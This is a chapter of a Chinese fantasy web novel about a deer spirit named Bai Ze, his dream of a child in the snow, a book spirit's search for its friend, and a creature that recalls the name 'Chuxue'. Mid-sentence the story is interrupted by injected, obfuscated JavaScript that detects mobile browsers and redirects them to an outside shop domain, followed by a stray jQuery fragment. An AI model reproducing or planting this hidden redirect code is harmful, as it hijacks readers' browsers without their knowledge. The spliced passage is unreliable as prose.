白泽在黎明前最黑的那段时间里，第三次踏进了那片雪地。
这一次的梦境和之前不同。雪还在下，但没有那么大了，像细盐一样从灰蒙蒙的天上簌簌落下来。那个小小的背影站在前方约二十步远的地方，停住了，没有走。它侧着身子站着，肩膀微微缩着，像是在等什么。
白泽迈开步子走过去。这一次雪没有拖住他的脚，他一步一步走得比前两次都稳。靴子踩在积雪上发出咯吱咯吱的声响，在空旷的雪地里传得很远。
他走到距离那背影还有五步的地方停下来，张了张嘴。
他想起了林小满说的那句话——“叫它一声试试。乱叫也行。”
于是他深吸了一口气，朝着那个裹着旧棉袄的小背影喊了一声：
“……喂。”
小背影没动。
白泽又往前迈了一步：“你……是谁？”
这一次小背影的肩膀微微动了一下。它偏过头来，露出那半张脸，琥珀色的眼睛在雪光里像两粒被冻住的蜜糖。那道从颧骨延伸到耳垂的疤痕比上次看起来更淡了一点，像是正在愈合。
它看着白泽，嘴唇动了动，一个又细又软的声音从风里飘过来：“……你都把我忘了，还问我？”
白泽胸口猛地一紧，像被人攥住了心脏。他想开口说什么，喉咙却像被什么东西堵住了。小背影又转回去了，继续往前走了两步，然后停下来，侧过脸说了最后一句话：
“等你想起我的名字，我就回来。”
说完，它踩着雪一步一步走远了，那件旧棉袄的后摆在风里晃着，领口一圈白色绒毛被吹起来又落下去，最后和漫天的雪花融在一起，再也分不清彼此。
白泽猛地睁开眼睛。
偏房里天光微亮，窗纸泛着青白色，枣树的枯枝在窗棂上投下细碎的影子。他坐起来大口喘着气，额头上出了一层薄汗，鹿角上的金光亮得前所未有地盛，整个房间都被照得温温的、亮亮的。他低头看着自己的手，掌心里空空的，但他能感觉到——那个小背影最后那句话还残留在他的皮肤上，温热的，像一片刚落的雪。
他翻身下榻，推开门走到院子里。清早的秋风吹过来凉凉的，带着露水和枯叶的气息。他站在枣树下仰起头，光秃秃的枝丫在晨曦里像一笔瘦硬的墨线。他闭上眼睛，把那个梦从头到尾又过了一遍。
“等你想起我的名字，我就回来。”
他一定要想起来。
早饭桌上，白泽把梦说了。福利院全员围坐在枣树下的石桌旁，面前摆着胡离一早出去买的油条和豆浆，陶陶正把第三根油条泡进碗里。书书坐在桌子角，手里那本书翻到空白页，指尖悬停在纸面上方，随时准备记录。
“它叫你想起它的名字，”林小满咬着油条琢磨，“那肯定是你们以前关系很近的人——小名、昵称、或者什么特殊代号。你仔细想想，除了‘白泽’这个大名，还有没有人叫过你别的？”
白泽蹙着眉想了很久：“……不记得。但我感觉……那个名字很短。可能只有一个字。”
“一个字？”胡离推了推眼镜，“‘鹿’？‘泽’？‘白’？”
白泽摇头。每摇一次眉头就皱得更紧一分。陶陶从油条碗里抬起头来，嘴边挂着豆浆沫，含混地插了一嘴：“会不会叫‘毛’？因为它也在掉毛……”
林小满伸手弹了一下陶陶的脑门：“吃你的饭。”
书书忽然开口了，声音细细的但很认真：“白泽大人，您梦里的那个小背影，身上的旧棉袄领口有一圈白毛。您刚才说它的眼睛和您一样——有没有可能，它是您的……幼年形态？或者是您用某种方式分离出去的一部分？”
石桌周围安静了一瞬。白泽的手指微微蜷了一下，茶碗边缘被他攥出了一道白色的指痕。
“我不知道，”他垂着眼睛，“但如果它是‘我’的一部分……那它的名字，应该是我给它的。”
林小满看着他微微发颤的指尖，把碗里剩下那半根油条推到他面前：“先吃饭。脑子要糖分才能转得快。”
白泽低头看了那半根油条一眼，嘴角弯了弯，拿起来慢慢吃了。
上午照常开工。书书去偏房做灵纸，胡离剪视频、对接文创公司，陶陶在院子里帮白泽梳毛——准确地说，是白泽自己梳下来一捧放在石桌上，陶陶蹲在一边守着不让风吹走，中途偷抓了一小把塞进自己兜里说要“留着闻香”。林小满坐在门槛上处理二手平台的私信和视频评论，回复了几条关于捐赠的咨询，又把下周灵纸的排期确认了一遍。
忙到中午的时候，胡离的手机响了。他接起来听了几句，表情忽然变了。
“您再说一遍？旧书库清出来的那批书，最后还有一部分没处理完？”
林小满抬起头来，胡离朝她比了个“书书”的口型，她立刻站起来往偏房跑去。书书正坐在桌前叠金纸，被她拉起来的时候一脸茫然。
胡离挂了电话，语速比平时快了一倍：“总馆那边的旧书整理员回电话了。他说旧书库的确清了一批书出来，大部分送了捐赠和回收，但还有一小批因为品相‘太特殊’，被单独锁在总馆三楼的特藏室整理，暂时没动。整理员说那批书里面有一摞是用银杏叶做的书签插页，他处理的时候觉得奇怪，特意留了下来。”
书书的书啪地掉在了地上。他弯腰去捡，手指头都在抖，捡了两下才捡起来：“……是它。一定是的。”
“下午就去。”林小满帮他把书捡稳了塞回怀里，“这回我和你一起去。胡离，你打电话给那位整理员，说我们下午两点到。”
特藏室在三楼走廊尽头，门是防盗铁门，推开之后里面的光线柔和偏黄，整面墙都是顶天立地的柚木书架，空气中飘着樟木和旧纸混合的干燥香气。一位戴着白手套的中年男人引他们走到最里面的一排矮架前，指了指上面码着的二十余册旧书：“就这些了。这批书里面夹了不少银杏叶，有的还写了字，我们拿不准是不是文物就没处理。”
书书已经蹲下去了。他的手指从第一本书开始翻，一页一页地翻过去，动作快得纸页哗啦啦响。翻到第七本的时候他的手指停住了。那一页夹着一片银杏叶书签，比他之前找到的那片枯叶新鲜一些，颜色还是浅黄透绿的。叶脉上用细小的墨字写着一行字，笔迹清秀端正：
“书书，若你来找我，我已往南去了。听人说南方有座古城，藏书中多有灵气。勿念。待我安定下来，自会寻你。你的叶兄留。”
书书捧着那片叶子看了很久很久，久到林小满在旁边蹲下来凑过去看了一遍那行字，然后又看了一遍他的脸。书书的眼眶是红的，但没有掉眼泪。他把叶子轻轻合进自己的书页里，站起来，转身面对林小满，声音比之前稳了很多：“它去南方了。南边有座古城，藏书多、灵气足。它在那里等我。”
“那你有方向了。”林小满说。
“嗯。”书书用力点了一下头，“但我不急。我现在有自己的家，有吃有住有事做。我可以等它安定下来，它给我写信了，我再去看它。”他拍了拍怀里那本书，那本书的书页微微鼓起来一点，像在回应他的动作。
回去的路上，书书坐在公交车上靠着窗，窗外是深秋的街道，梧桐叶子落了一地金黄。他怀里那片银杏叶在书页里透
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17943812|214012||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
着淡淡的暖光，隔着泛黄的纸能看见浅绿色的叶脉在慢慢舒展，像一片重新活过来的叶子。
林小满坐在旁边看着他，没说话。但她看见书书的耳尖是粉红色的，嘴角弯着一点点弧度，一路都没消下去。
晚上回到福利院，大家都在忙各自的事，林小满照例端了一碗热汤面去杂物间。
玻璃罐里的灰团子已经明显变样了。这几天它一天比一天浅，从炭灰褪成了深灰，又从深灰褪成了浅灰，边缘开始透出一层暖融融的米白色，像一块被反复揉搓过的老面。它蜷在罐子中央，比之前大了一圈，触须也比以前粗壮了些，轻轻搭在碗沿上，等着林小满把面放进来。
“今天教你一个新词，”林小满蹲在罐子前面，“‘暖’。就是……不冷的意思。你以前吃的东西都是凉的、黑乎乎的梦，那些是冷的。我今天给你带的是热的。你记住这种感觉。”
灰团子伸出一条触须碰了碰碗边，过了几秒，从罐子里传出一阵比之前清晰得多的嗡鸣声。那几个字终于连成了一句完整的、虽然还有点含混但能听清的话：
“……暖……林小满……暖。”
林小满愣了一瞬，然后笑了：“学得挺快。”
她站起身要走，灰团子的触须从碗沿上缩回去，忽然又伸出来碰了碰玻璃壁，发出一个更清晰的音：
“……小……梦……”
林小满回头：“什么小梦？”
灰团子的触须在空中慢慢描了一个形状——是一头小小的、蜷着的鹿，四蹄收在腹下，鹿角弯弯的。然后它在那个形状旁边又画了一个小圈，旁边补了两笔像雪花的形状。
“雪地……小鹿……”林小满蹲回去，“你是说，你见过白泽在雪地里……和小鹿在一起？”
灰团子整个身体微微亮了一下暖光，触须点了点。
“那小鹿叫什么名字？”林小满放缓了语速，“你以前……白泽还没封印你的时候，你听到过有人叫它什么吗？”
灰团子沉默了。它的身体慢慢暗下去，触须也缩了回去，蜷在罐底一动不动。就在林小满以为它不会再开口的时候，一阵极轻极轻的嗡鸣从罐子深处传上来，像一根在弦上颤了很久终于松开的琴弦：
“……初……”
林小满屏住了呼吸：“什么？”
“……初……雪……”灰团子的声音越来越小，像在费力地打捞沉在水底的碎片，“他们叫它……小雪……”
林小满在黑暗中蹲了很久。
她站起来，把碗留在了罐子旁边，轻轻带上门。走廊里白泽正端着一杯水从厨房出来，跟她打了个照面。昏黄的灯光下他鹿角上的金光浮动在空气里，脸上的表情平静而温和。
“面送完了？”他问。
“嗯。”林小满看着他，在心里把那个名字又念了一遍——初雪。小雪。
她什么都没说，只是拍了拍他的肩膀：“今晚早点睡。梦到它的时候，试着一个字一个字地喊。”
白泽点了点头，端着水回了偏房。
林小满站在走廊底下，看着他的背影消失在门框里。枣树上的串灯在晚风里轻晃，院子里很安静，只有陶陶在屋里翻身的细微响动和书书翻书页的沙沙声。她抬头看了看天，月亮很圆，银白色的光铺满了整座院子，落在杂物间那扇紧闭的木门上，门缝底下透出一线暖灰色的光。
她转身回了自己屋。躺下的时候她想，明天早上，白泽可能会说出那个名字来。
也可能不会。
但她把那个名字在心里又存了一遍，像存一粒还没发芽的种子。
“初雪。”